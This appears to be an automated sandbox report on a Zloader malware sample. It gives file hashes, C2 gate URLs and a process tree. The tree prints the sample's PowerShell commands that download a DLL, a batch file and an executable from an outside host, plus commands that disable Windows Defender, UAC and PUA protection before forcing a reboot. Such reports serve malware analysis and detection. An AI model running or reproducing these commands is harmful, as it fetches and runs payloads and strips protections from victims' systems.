Analysis

  • max time kernel
    56s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    16-08-2021 11:42

Errors

Reason
Remote task has failed: Machine shutdown

General

  • Target

    8f87fe90d589a4fa73cff6a242fe222b.exe

  • Size

    165KB

  • MD5

    8f87fe90d589a4fa73cff6a242fe222b

  • SHA1

    381e33872d0f6f1a7233beeb6e9524435c2a9ab6

  • SHA256

    edaabcb2e82b51c9b8df54dc82afc494bff804b1b187c4657ab583e8ca0bd052

  • SHA512

    f0ce6885ac47429df5a1a0779c9a455300d77284ef71ff1e344afe2344513b430705ce50d62fceddb051cb5df8b67e1c4969b377413647f4cbe23fc87351aca0

Malware Config

Extracted

Family

zloader

Botnet

ivan

Campaign

ivan

C2

https://iqowijsdakm.com/gate.php

https://wiewjdmkfjn.com/gate.php

https://dksaoidiakjd.com/gate.php

https://iweuiqjdakjd.com/gate.php

https://yuidskadjna.com/gate.php

https://olksmadnbdj.com/gate.php

https://odsakmdfnbs.com/gate.php

https://odsakjmdnhsaj.com/gate.php

https://odjdnhsaj.com/gate.php

https://odoishsaj.com/gate.php

rc4.plain
rsa_pubkey.plain

Signatures

  • Zloader, Terdot, DELoader, ZeusSphinx

    Zloader is a malware strain that was initially discovered back in August 2015.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Delays execution with timeout.exe 2 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8f87fe90d589a4fa73cff6a242fe222b.exe
    "C:\Users\Admin\AppData\Local\Temp\8f87fe90d589a4fa73cff6a242fe222b.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:2028
    • C:\Windows\system32\cmd.exe
      cmd /c start.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1380
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Invoke-WebRequest https://pornotublovers.com/JavaP.dll -OutFile JavaP.dll
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1544
      • C:\Windows\system32\regsvr32.exe
        regsvr32 JavaP.dll
        3⤵
        • Suspicious behavior: CmdExeWriteProcessMemorySpam
        • Suspicious use of WriteProcessMemory
        PID:1924
        • C:\Windows\SysWOW64\regsvr32.exe
          JavaP.dll
          4⤵
          • Loads dropped DLL
          PID:1908
          • C:\Windows\SysWOW64\msiexec.exe
            msiexec.exe
            5⤵
              PID:1900
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Invoke-WebRequest https://pornotublovers.com/nsudo.bat -OutFile nsudo.bat
          3⤵
            PID:1648
          • C:\Windows\system32\cmd.exe
            cmd /c nsudo.bat
            3⤵
              PID:656
              • C:\Windows\system32\cacls.exe
                "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
                4⤵
                  PID:620
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell Invoke-WebRequest https://pornotublovers.com/javase.exe -OutFile javase.exe
                  4⤵
                    PID:1544
                  • C:\Users\Admin\AppData\Roaming\javase.exe
                    javase -U:T reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f
                    4⤵
                      PID:304
                    • C:\Users\Admin\AppData\Roaming\javase.exe
                      javase -U:T sc config WinDefend start= disabled
                      4⤵
                        PID:1504
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell Invoke-WebRequest https://pornotublovers.com/autorun100.bat -OutFile autorun100.bat
                        4⤵
                          PID:1660
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell.exe New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force
                          4⤵
                            PID:1592
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell.exe -command "Set-MpPreference -PUAProtection disable"
                            4⤵
                              PID:1172
                            • C:\Windows\system32\shutdown.exe
                              shutdown.exe /r /f /t 00
                              4⤵
                                PID:1540
                            • C:\Windows\system32\timeout.exe
                              timeout 16
                              3⤵
                              • Delays execution with timeout.exe
                              PID:1052
                            • C:\Windows\system32\cmd.exe
                              cmd /c nsudo.bat
                              3⤵
                                PID:1236
                              • C:\Windows\system32\timeout.exe
                                timeout 16
                                3⤵
                                • Delays execution with timeout.exe
                                PID:1896
                          • C:\Windows\system32\LogonUI.exe
                            "LogonUI.exe" /flags:0x0
                            1⤵
                              PID:1112
                            • C:\Windows\system32\LogonUI.exe
                              "LogonUI.exe" /flags:0x1
                              1⤵
                                PID:1064

                              Network

                              MITRE ATT&CK Enterprise v6

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

                                MD5

                                f848f5b5d033acff608f726d5f59e67e

                                SHA1

                                606fece7d327edbfe6bcf5c7f6db89a8438175ec

                                SHA256

                                c89fa727d959f1e5829db45c84505f8ff90e3321ada6d8c26d1d5d32cfbffeb4

                                SHA512

                                d406d962cfccdaf9d37e0ba4b439f5ba330e64e51eb9831347cc35291e1a610de5931313c2bc5055163c292c90457cb12e6bff43d36ad5fa6ea9f5d4cd135d35

                              • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\start.bat

                                MD5

                                676d31dd4a8405ead757e0b72d6bd381

                                SHA1

                                789a5fc1af78a0630ae705f6dd5506dd476d9d0f

                                SHA256

                                57d69a6ca957beb5c9eed7f39d0bb56e6d3348bd510fbba10ad0c19438a712b7

                                SHA512

                                79cc7bd42feb80d9a552f2fd6145795ab1904ca7c8d4175f70f9225b04eddcc7107ebf4391eac9d578ed7b963ce192df58050e73b8eaed30e3ef89405e18028c

                              • C:\Users\Admin\AppData\Roaming\JavaP.dll

                                MD5

                                23cb9715b98c53a8351d0cfb3d0a24eb

                                SHA1

                                4048470f92c65898b3e7186cc98108b74e4b2171

                                SHA256

                                bf74dac2db3967e1d661db1bfdbee8fe546bd19ecdcef0baf6b61fb3f78a89d7

                                SHA512

                                4b3753020e795b8ba96d292097633a837579aa3b5fa68f7b39f8d76ce3bf3cec6a43663526f9ae79283b4a9aa9034ab96605a554b035ff35f6e10a42bf3efdc1

                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                MD5

                                37201477b58552b2766848acfa92734e

                                SHA1

                                3f193d83ebd8d767a3f5e2b7f4a847fd8deed308

                                SHA256

                                5b5d7d0fe081affdfbb88041e46b31e073c6a9f7db8c54c1ae7cfeaf7bcb92bc

                                SHA512

                                394edda9ccc6f2d2109403c8bb750abcf88bed0afd85fa06da7e1897dd90ea0867fd39bcffd702545927a4cf2f8ace35debe28e337982c546f3373c66cc592a7

                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                MD5

                                37201477b58552b2766848acfa92734e

                                SHA1

                                3f193d83ebd8d767a3f5e2b7f4a847fd8deed308

                                SHA256

                                5b5d7d0fe081affdfbb88041e46b31e073c6a9f7db8c54c1ae7cfeaf7bcb92bc

                                SHA512

                                394edda9ccc6f2d2109403c8bb750abcf88bed0afd85fa06da7e1897dd90ea0867fd39bcffd702545927a4cf2f8ace35debe28e337982c546f3373c66cc592a7

                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                MD5

                                37201477b58552b2766848acfa92734e

                                SHA1

                                3f193d83ebd8d767a3f5e2b7f4a847fd8deed308

                                SHA256

                                5b5d7d0fe081affdfbb88041e46b31e073c6a9f7db8c54c1ae7cfeaf7bcb92bc

                                SHA512

                                394edda9ccc6f2d2109403c8bb750abcf88bed0afd85fa06da7e1897dd90ea0867fd39bcffd702545927a4cf2f8ace35debe28e337982c546f3373c66cc592a7

                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                MD5

                                37201477b58552b2766848acfa92734e

                                SHA1

                                3f193d83ebd8d767a3f5e2b7f4a847fd8deed308

                                SHA256

                                5b5d7d0fe081affdfbb88041e46b31e073c6a9f7db8c54c1ae7cfeaf7bcb92bc

                                SHA512

                                394edda9ccc6f2d2109403c8bb750abcf88bed0afd85fa06da7e1897dd90ea0867fd39bcffd702545927a4cf2f8ace35debe28e337982c546f3373c66cc592a7

                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                MD5

                                37201477b58552b2766848acfa92734e

                                SHA1

                                3f193d83ebd8d767a3f5e2b7f4a847fd8deed308

                                SHA256

                                5b5d7d0fe081affdfbb88041e46b31e073c6a9f7db8c54c1ae7cfeaf7bcb92bc

                                SHA512

                                394edda9ccc6f2d2109403c8bb750abcf88bed0afd85fa06da7e1897dd90ea0867fd39bcffd702545927a4cf2f8ace35debe28e337982c546f3373c66cc592a7

                              • C:\Users\Admin\AppData\Roaming\javase.exe

                                MD5

                                5cae01aea8ed390ce9bec17b6c1237e4

                                SHA1

                                3a80a49efaac5d839400e4fb8f803243fb39a513

                                SHA256

                                19896a23d7b054625c2f6b1ee1551a0da68ad25cddbb24510a3b74578418e618

                                SHA512

                                c8e54c92133ba686238ea554c1cd82ba441db5fd4b0cbd5082d5eb4ddfcedd15506b9dac553459d0b2221c75778241f926ed3eef64571e4b1e0eb6f80ff9b481

                              • C:\Users\Admin\AppData\Roaming\javase.exe

                                MD5

                                5cae01aea8ed390ce9bec17b6c1237e4

                                SHA1

                                3a80a49efaac5d839400e4fb8f803243fb39a513

                                SHA256

                                19896a23d7b054625c2f6b1ee1551a0da68ad25cddbb24510a3b74578418e618

                                SHA512

                                c8e54c92133ba686238ea554c1cd82ba441db5fd4b0cbd5082d5eb4ddfcedd15506b9dac553459d0b2221c75778241f926ed3eef64571e4b1e0eb6f80ff9b481

                              • C:\Users\Admin\AppData\Roaming\nsudo.bat

                                MD5

                                6f10d512d4cbb527fd26ae266d0a4aef

                                SHA1

                                6e42d51ff2d42c5f999943b329a655e901ea4b32

                                SHA256

                                b37efaf69f5484fd2e4ec9c83553b9788e39a10fc4390065c29d59f770f34943

                                SHA512

                                4f66e8435b8439ace551ad8a70483926891ff3f55b27688602b2e0c58999054bd430308879374f4e8c990a91c3e9cc9cd78b6d355d4370051528bce536e1028e

                              • \??\PIPE\srvsvc

                                MD5

                                d41d8cd98f00b204e9800998ecf8427e

                                SHA1

                                da39a3ee5e6b4b0d3255bfef95601890afd80709

                                SHA256

                                e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                SHA512

                                cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                              • \??\PIPE\srvsvc

                                MD5

                                d41d8cd98f00b204e9800998ecf8427e

                                SHA1

                                da39a3ee5e6b4b0d3255bfef95601890afd80709

                                SHA256

                                e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                SHA512

                                cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                              • \Users\Admin\AppData\Roaming\JavaP.dll

                                MD5

                                23cb9715b98c53a8351d0cfb3d0a24eb

                                SHA1

                                4048470f92c65898b3e7186cc98108b74e4b2171

                                SHA256

                                bf74dac2db3967e1d661db1bfdbee8fe546bd19ecdcef0baf6b61fb3f78a89d7

                                SHA512

                                4b3753020e795b8ba96d292097633a837579aa3b5fa68f7b39f8d76ce3bf3cec6a43663526f9ae79283b4a9aa9034ab96605a554b035ff35f6e10a42bf3efdc1

                              • \Users\Admin\AppData\Roaming\javase.exe

                                MD5

                                5cae01aea8ed390ce9bec17b6c1237e4

                                SHA1

                                3a80a49efaac5d839400e4fb8f803243fb39a513

                                SHA256

                                19896a23d7b054625c2f6b1ee1551a0da68ad25cddbb24510a3b74578418e618

                                SHA512

                                c8e54c92133ba686238ea554c1cd82ba441db5fd4b0cbd5082d5eb4ddfcedd15506b9dac553459d0b2221c75778241f926ed3eef64571e4b1e0eb6f80ff9b481

                              • \Users\Admin\AppData\Roaming\javase.exe

                                MD5

                                5cae01aea8ed390ce9bec17b6c1237e4

                                SHA1

                                3a80a49efaac5d839400e4fb8f803243fb39a513

                                SHA256

                                19896a23d7b054625c2f6b1ee1551a0da68ad25cddbb24510a3b74578418e618

                                SHA512

                                c8e54c92133ba686238ea554c1cd82ba441db5fd4b0cbd5082d5eb4ddfcedd15506b9dac553459d0b2221c75778241f926ed3eef64571e4b1e0eb6f80ff9b481

                              • memory/304-108-0x0000000000000000-mapping.dmp

                              • memory/620-96-0x0000000000000000-mapping.dmp

                              • memory/656-94-0x0000000000000000-mapping.dmp

                              • memory/1052-165-0x0000000000000000-mapping.dmp

                              • memory/1064-170-0x00000000026E0000-0x00000000026E1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1112-168-0x00000000027C0000-0x00000000027C1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1172-143-0x0000000002640000-0x0000000002642000-memory.dmp

                                Filesize

                                8KB

                              • memory/1172-144-0x0000000002644000-0x0000000002646000-memory.dmp

                                Filesize

                                8KB

                              • memory/1172-146-0x0000000002610000-0x0000000002611000-memory.dmp

                                Filesize

                                4KB

                              • memory/1172-149-0x0000000002740000-0x0000000002741000-memory.dmp

                                Filesize

                                4KB

                              • memory/1172-161-0x000000001B530000-0x000000001B531000-memory.dmp

                                Filesize

                                4KB

                              • memory/1172-136-0x0000000000000000-mapping.dmp

                              • memory/1172-162-0x000000001B540000-0x000000001B541000-memory.dmp

                                Filesize

                                4KB

                              • memory/1236-166-0x0000000000000000-mapping.dmp

                              • memory/1380-61-0x0000000000000000-mapping.dmp

                              • memory/1504-112-0x0000000000000000-mapping.dmp

                              • memory/1540-163-0x0000000000000000-mapping.dmp

                              • memory/1544-100-0x0000000001E20000-0x0000000001E21000-memory.dmp

                                Filesize

                                4KB

                              • memory/1544-105-0x000000001AD84000-0x000000001AD86000-memory.dmp

                                Filesize

                                8KB

                              • memory/1544-97-0x0000000000000000-mapping.dmp

                              • memory/1544-101-0x000000001AE00000-0x000000001AE01000-memory.dmp

                                Filesize

                                4KB

                              • memory/1544-102-0x0000000002010000-0x0000000002011000-memory.dmp

                                Filesize

                                4KB

                              • memory/1544-103-0x0000000001EF0000-0x0000000001EF1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1544-104-0x000000001AD80000-0x000000001AD82000-memory.dmp

                                Filesize

                                8KB

                              • memory/1544-68-0x000000001AB20000-0x000000001AB22000-memory.dmp

                                Filesize

                                8KB

                              • memory/1544-106-0x000000001C4A0000-0x000000001C4A1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1544-69-0x000000001AB24000-0x000000001AB26000-memory.dmp

                                Filesize

                                8KB

                              • memory/1544-67-0x00000000026B0000-0x00000000026B1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1544-66-0x000000001ABA0000-0x000000001ABA1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1544-65-0x0000000002260000-0x0000000002261000-memory.dmp

                                Filesize

                                4KB

                              • memory/1544-63-0x0000000000000000-mapping.dmp

                              • memory/1544-70-0x000000001A800000-0x000000001A801000-memory.dmp

                                Filesize

                                4KB

                              • memory/1544-71-0x000000001B790000-0x000000001B791000-memory.dmp

                                Filesize

                                4KB

                              • memory/1592-126-0x0000000000000000-mapping.dmp

                              • memory/1592-132-0x000000001AAE4000-0x000000001AAE6000-memory.dmp

                                Filesize

                                8KB

                              • memory/1592-135-0x000000001B6D0000-0x000000001B6D1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1592-131-0x000000001AAE0000-0x000000001AAE2000-memory.dmp

                                Filesize

                                8KB

                              • memory/1648-89-0x000000001ACA0000-0x000000001ACA2000-memory.dmp

                                Filesize

                                8KB

                              • memory/1648-87-0x0000000002020000-0x0000000002021000-memory.dmp

                                Filesize

                                4KB

                              • memory/1648-82-0x0000000000000000-mapping.dmp

                              • memory/1648-85-0x0000000001F40000-0x0000000001F41000-memory.dmp

                                Filesize

                                4KB

                              • memory/1648-86-0x000000001AD20000-0x000000001AD21000-memory.dmp

                                Filesize

                                4KB

                              • memory/1648-91-0x0000000001EA0000-0x0000000001EA1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1648-90-0x000000001ACA4000-0x000000001ACA6000-memory.dmp

                                Filesize

                                8KB

                              • memory/1648-93-0x000000001B9E0000-0x000000001B9E1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1660-115-0x0000000000000000-mapping.dmp

                              • memory/1660-123-0x0000000002580000-0x0000000002582000-memory.dmp

                                Filesize

                                8KB

                              • memory/1660-124-0x0000000002584000-0x0000000002586000-memory.dmp

                                Filesize

                                8KB

                              • memory/1896-167-0x0000000000000000-mapping.dmp

                              • memory/1900-88-0x0000000000110000-0x0000000000136000-memory.dmp

                                Filesize

                                152KB

                              • memory/1900-80-0x0000000000000000-mapping.dmp

                              • memory/1908-79-0x0000000010000000-0x000000001017A000-memory.dmp

                                Filesize

                                1.5MB

                              • memory/1908-78-0x0000000000120000-0x0000000000121000-memory.dmp

                                Filesize

                                4KB

                              • memory/1908-76-0x00000000765F1000-0x00000000765F3000-memory.dmp

                                Filesize

                                8KB

                              • memory/1908-75-0x0000000000000000-mapping.dmp

                              • memory/1924-72-0x0000000000000000-mapping.dmp

                              • memory/2028-60-0x000007FEFC411000-0x000007FEFC413000-memory.dmp

                                Filesize

                                8KB